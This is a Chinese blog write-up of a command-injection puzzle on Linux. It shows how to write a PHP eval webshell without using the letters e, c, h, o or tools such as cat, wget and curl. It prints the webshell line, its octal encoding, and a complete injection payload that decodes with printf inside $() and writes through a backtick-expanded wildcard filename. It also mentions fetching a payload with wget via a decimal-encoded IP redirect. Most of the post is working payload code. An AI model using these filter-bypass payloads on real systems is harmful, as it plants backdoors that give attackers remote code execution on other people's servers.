..

Linux 下的命令注入

Linux 下的命令注入

之前发在微博上的一道题,首先投稿到了三哥的公众号然后发在了微博上,建立了这个 Blog 之后搬运过来。

目标是Linux系统的命令注入,要求必须用echo命令写Webshell,但不能出现e、c、h、o这四个字符,cat、tee、wget、curl、less、more 这些带有关键字的都不行

核心点是必须用echo,而且不能出现关键字,这样使用@zTrix 在阿里安全峰会演讲中的技巧就不行了,而且写PHP Webshell 的话,也是需要用到 h 的(echo ‘’ » index.* 也可以这样写,但要开启短标签)

所以第一想到的是通过编码,base64肯定是不行的,那如果是八进制呢? (十六进制也行哦,但可能会包含E和C)

八进制数的基数是8,采用0,1,2,3,4,5,6,7 八个数字。

十六进制数的基数是16,采用的数码是0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F。

八进制里面不会包含关键字,先尝试一下编码echo命令,然后使用printf进行解码

bingo,成功把echo拿出来,那么接下来就很简单了吧,把整条写Webshell语句拿出来然后用**$()**执行

echo "<?php @eval($_POST['c']);?>" > shell.php
转换为八进制是
\145\143\150\157\40\42\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76\42\40\76\40\163\150\145\154\154\56\160\150\160

$()这种写法是会优先执行括号里的内容,用来执行解码后的内容,然后图样图森破,echo的确被成功执行,但也把后面的内容全输出出来了,并没有写入。

很尴尬,不过换成这样写就行了,先构造出来echo语句,然后重定向符放到外面,再利用通配符写入

但在测试的时候,又会发现问题,“ * ” 并没有被当作通配符去解释

办法总是有的,完美的Payload如下

vul=;$(printf "\145\143\150\157\40\42\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76\42")>>`ls t*.*`

使用上顿号执行一下,先构造出文件名

至此,不用e、c、h、o 这四个字符执行echo命令并写入Webshell 就搞定啦~

最后

实战中这种蛋疼环境不可能遇到,即使遇到不能执行echo命令,相信各位也会有一百种Getshell的方法,过滤 > `` "" \ $(). 等一系列特殊字符,还可以wget 2130706433(IP的数字地址)302跳转到ftp服务器自动下载,总之姿势有很多。